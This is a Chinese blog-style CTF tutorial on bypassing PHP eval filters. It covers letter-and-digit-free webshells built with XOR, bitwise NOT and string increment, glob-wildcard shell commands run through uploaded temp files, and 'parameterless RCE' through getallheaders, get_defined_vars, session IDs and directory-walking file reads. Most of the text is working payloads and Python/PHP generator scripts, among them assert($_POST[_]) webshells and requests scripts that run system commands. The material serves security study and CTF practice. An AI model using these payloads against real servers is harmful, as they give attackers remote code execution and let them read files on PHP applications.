前言

首先,需要了解一下命令执行的函数,这里推荐几篇文章,来认识这些函数。
浅谈eval和assert
从底层分析eval和assert的区别
命令执行与代码执行的小结
巧用命令注入的N种方式
命令注入绕过姿势
我就不在说这几个东西,大牛们都说的很细。我就直接进入我们的正题。

无数字字母webshell

例题:

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

首先要求:不能存在数字字母。
需要我们明确思路:
核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符,然后再利用PHP允许动态函数执行的特点,拼接出一个函数名,如“assert”,然后动态执行之即可。
首先,eval是可以被disable_function禁用吗?为什么?

php的eval函数并不是系统组件函数,因此我们在php.ini中使用disable_functions是无法禁止它的。
eval是zend的,因此不是PHP_FUNCTION 函数。通俗的说就是,eval是用c写的是底层的东西,它不是php层面的函数。所以php.ini无法禁用。

assert可以在php7使用吗?(默认情况)
默认不可以,需要配置。
了解php7特性
推荐文章:PHP7新特性一览
先说一下php5和php7的一些差异吧
php5中assert是一个函数,我们可以通过

$f='assert';$f(...);

这样的方法来动态执行任意代码。
但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。下面我们用两种环境下进行测试,进行比较。做个记录。

php5环境下

方法一

思路:异或
这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
这里的大部分是不可见字符,这里是用url编码表示。即

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
即:?code=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]); 

把黑名单的字符转化成转化成白名单的字符异或拼在一起。构造payload写的一个小脚本:

import string
import urllib
black=string.letters+string.digits
# print black
# allstring=string.printable
white=string.punctuation
# print white

def yihuo(str1):
    flag=''
    for x in str1:
        for i in white:
            o=ord(x)^ord(i)
            if chr(o) not in black:
                if chr(o)=='\'' or chr(o)=='\\':
                    flag+='(\'\\'+urllib.quote(chr(o))+'\'^\''+urllib.quote(i)+'\').'
                    break
                flag+='(\'%'+(chr(o).encode('hex'))+'\'^\''+urllib.quote(i)+'\').'
                break
    return flag[0:len(flag)-1]
st='assert'
print yihuo(st)

注:记得对一些字符进行url编码,比如&和+,都引起解析问题。

方法二

和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。
方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s
一般利用汉字,因为汉字的uniocode占3字节。可以利用其构造字母
Ked1wn.png
利用这个特性。生成payload:

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
我测试发现{}可以用l[]来替换:
<?php
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___[$_]);$___="和";$____.=~($___[$__]);$___="和";$____.=~($___[$__]);$___="的";$____.=~($___[$_]);$___="半";$____.=~($___[$_]);$___="始";$____.=~($___[$__]);$_____='_';$___="俯";$_____.=~($___[$__]);$___="瞰";$_____.=~($___[$__]);$___="次";$_____.=~($___[$_]);$___="站";$_____.=~($___[$_]);$_=$$_____;$____($_[$__]);
即:assert($_POST[2])

这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2。记得传入参数时需要进行url编码。

方法三

这种方法的核心是:递增运算

这就得借助PHP的一个小技巧:参见文档

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。。
再取这个字符串的第一个字母,就可以获得’A’了。
利用这个技巧,P神编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a)

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

上述三种方式在php5下都能成功执行。

方法四

*可以代替0个及以上任意字符
?可以代表1个任意字符
在PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量

$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
长度限制,使用通配:
$_=/???/???%20/???/???/????/;?><?=$_?>
正则过滤了$和_,改进为:
?><?=`/???/???%20/???/???/????/*`?>

p神还提供了另一种方式glob通配符

其中说到我们可以通过上传临时文件,这样我们就可以获得一些随机字符,上传的临时文件名字都是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势来干掉一些特殊字符。
就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。
所以,我们可以通过[@-[]来限制字符为大写字符,即ascii码值在40-91的字符。同样也可以限制在小写字符97-123即可,这样我们就可以准确的确定文件名。
这里还有一个知识点就是
shell下可以利用.来执行任意脚本。
KD8MZQ.png
用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?临时文件不就可以吗?

构造poc,执行任意命令啊
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
(orz p神tql)

php7环境下

上面的方法在php7.0.12测试成功。php7.1.13和php7.2.10测试失败。未成功的原因
是assert不支持函数名动态执行代码。所以不能执行。
php7中修改了表达式执行的顺序:参考文档
Ke2nqf.png
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

(~%8F%97%8F%96%91%99%90)();  //phpinfo

得到脚本:

<?php
$want='phpinfo';
$want=str_split($want);
$flag='';
foreach ($want as $v){
    $flag.=~$v;
}
echo "(~".urlencode($flag).")();";

难度升级:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

解决思路同样两种:
1.异或(未过滤 _$时可以异或出_POST_GET字符串来接受参数,绕过长度限制)
2.. file任意命令执行(上面的方法四)过滤$用这种方法。需要注意php5和php7的差别。

为啦了算缩短字符长度我们可以字符异或:(未过滤 _$

测试环境:# PHP Version 7.0.33
_POST为:'_'.("{`{|"^"+/((")
/?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=var_dump(scandir('/'));
即$_='_GET';
$_GET[_]($_GET[__]);
即getshell 

过滤_$只有. file任意命令执行了。。。

无参数RCE

大致思路如下:
1.利用超全局变量进行bypass,进行RCE
2.进行任意文件读取
例子:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

正则匹配:

/[^\W]+\((?R)?\)/

匹配函数格式的的字符串。
如:a(b(c()));,a();
只能执行函数,但是不能传入参数即不能a(1);这种格式的。
因此,缺少参数,就增加了我们了rce的难度。

思想:超全局变量进行bypass,进行RCE。

超全局变量:

$GLOBALS   //引用全局作用域中可用的全部变量
$_SERVER   //服务器和执行环境信息
$_GET      //HTTP GET 变量
$_POST     //HTTP POST 变量
$_FILES    //HTTP 文件上传变量
$_COOKIE   //HTTP Cookies
$_SESSION  //Session 变量
$_REQUEST  //HTTP Request 变量 默认情况下包含了 [$_GET],[$_POST] 和 [$_COOKIE]的数组。
$_ENV      //环境变量

函数 getallheaders()

MS7OdP.png
注意:在apache环境下。nginx无法使用原因是getallheaders()是apache函数。
核心思路:
1.参数code不能使用带参数的php函数
2.让参数code获取其他位置传入的参数(http header)
3.getallheaders()可返回http header
4.code可以获取到http header中的参数,相当于任意参数调用
5.成功进行RCE

payload:

?code=eval(end(getallheaders())); 执行http header的最后一个参数的值。

MppeMV.png

函数:get_defined_vars()

Mp9R6x.png

其可以回显全局变量:

$_GET
$_POST
$_FILES
$_COOKIE
$_ENV
$_SERVER
$_REQUEST

和上面方法一样。通过全局变量传入我们的参数,RCE。
payload:

?code=eval(end(current(get_defined_vars())));&alex=phpinfo();

Mpi21s.png

如果发现对

$_GET
$_POST
$_COOKIE

过滤的话。可已使用$_file
直接写一个上传。这里有个坑点。传入的文件空格被替换成_。防止干扰可以用hex编码。

这里需要注意的是飘零师傅用的环境为只能获取

$_GET
$_POST
$_FILES
$_COOKIE

可以用end直接获取。我测试用end获取的是_server。。。无法通过_files。。。识环境而定吧。

import requests
from io import BytesIO
def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x','') for c in s])
payload = str_to_hex("system('ls /tmp');")

files = {
  payload: BytesIO()
}

r = requests.post('http://localhost/222.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print(r.content)

函数:sessin_id()

其实这里还能从$_COOKIE下手:
MpblM4.png
可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路:hex2bin
M9KjIA.png

import requests
url = 'http://localhost/222.php?code=eval(hex2bin(session_id(session_start())));'
def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x','') for c in s])
payload = str_to_hex("phpinfo();")
cookies = {
    'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print(r.content)

函数:getenv()

$_ENV,对应函数为getenv()
从一个偌大的数组中取出我们指定的值
可以使用array_rand()获取数组中随机的一个键或者array_flip()数组中获取随机的值。
通过爆破,获取我们想要的值。。。

函数:dirname() & chdir()

必须RCE吗???。可以直接读文件吧。。
了解一些函数:

getcwd()    //返回当前目录
pos(localeconv())得到.即当前目录
scandir()   //列出指定路径中的文件和目录

chdir() 切换目录
M91x0S.png
dirname() 返回路径中的目录部分
M98iUe.png

分析:假设当前目录为/var/www/html

dirname(getcwd()) //获取当前目录所在的路径 即:文件所在的上一级文件夹路径/var/www
chdir(dirname(getcwd())) //切换到当前目录所在的目录,返回bool值。
dirname(chdir(dirname(getcwd())))  //获取上述切换到的目录/var/www
scandir(dirname(chdir(dirname(getcwd()))))  //获取目录/var/www的所有文件,返回值为一维数组前两个值为'.'和'..'
array_reverse(scandir(dirname(chdir(dirname(getcwd())))))  //翻转上述的一维数组,将'.'和'..'移到后面
current(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))) //获取数组第一个值。
readfile(current(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))) //读文件/var/www/xxx.txt

payload:

?code=readfile(pos(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

M9yjoj.png
理清思路:
getcwd() 获取当前目录
scandir() 列目录
dirname() 目录上跳

总结读文件的函数:

file() //把整个文件读入一个数组中
file_get_contents()以字符串形式获取文件的内容。
readfile()输出文件
highlight_file()高亮显示

不能使用
fopen()+fread()  //按字节读取
fopen()+fgets() //按行读取

数组取值:

next() //返回数组中的下个单元
prev() //返回数组的上一个单元
pos()和current() //返回数组中的当前单元
end()//返回数组中的最后单元
each() 返回数组中当前的键/值对并将数组指针向前移动一步
reset()将数组的内部指针指向第一个单元

例子:

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = next($transport);    // $mode = 'car';
$mode = prev($transport);    // $mode = 'bike';
$mode = end($transport);     // $mode = 'plane';
?>

无参数RCE的例题:
ByteCTF 2019-boring_code
这个有一些姿势可以学习:参见writeupByteCTF 2019 Writeup

总结

姿势还有很多,继续努力。

本文借鉴多篇大佬文章:
无字母数字webshell之提高篇
PHP-Parametric-Function-RCE

  • bypass disfunction

    前言PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。 基本思路有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在...

    bypass disfunction
  • php代码审计之文件包含

    文件包含文件包含分为本地文件包含(Local File Inclusion,简LFI)和远程文件包含(Remote File Inclusion,简RFI)。 在php中常见的文件包含函数有: include() include_on...

    php代码审计之文件包含
  • 文件上传漏洞

    前言我是根据upload-lab来总结文件上传漏洞。思维导图: pass-01提示:在客户端使用js对不合法图片进行检查!所以我们可以通过抓包,改包就可以绕过。。。 pass-02提示:服务端对数据包的MIME进行检查! 这里是对Co...

    文件上传漏洞
  • sql注入知识总结

    前言最近,感觉知识学的有点混乱,来整理一波自己的知识。先总结一下sql注入吧。 知识储备sql注入中常用到的库和表information_schema库 这个数据库中保存着mysql服务器所保存的所有的其他数就库的信息,如数据库名,...

    sql注入知识总结
  • linux基本操作

    centos常用命令及快捷键整理常用linux命令文件和目录cd /home 进入 '/home' 目录 cd .. 返回上一...

    linux基本操作
  • linux查看系统信息

    linux系统下经常查看各种信息,总结一下。 系统uname -a # 查看内核/操作系统/CPU信息 head -n 1 /etc/issue # 查看操作系统版本 cat /etc/issue | ...

    linux查看系统信息
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 计算机组成原理学习

    计算机组成原理第一章 计算机系统概论计算机系统的层次结构 冯·诺依曼计算机的特点 计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成 指令(程序)和数据以二进制同等地位地存储在存储器中,可按址寻访 指令由操作码和地址码组...

    计算机组成原理学习
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解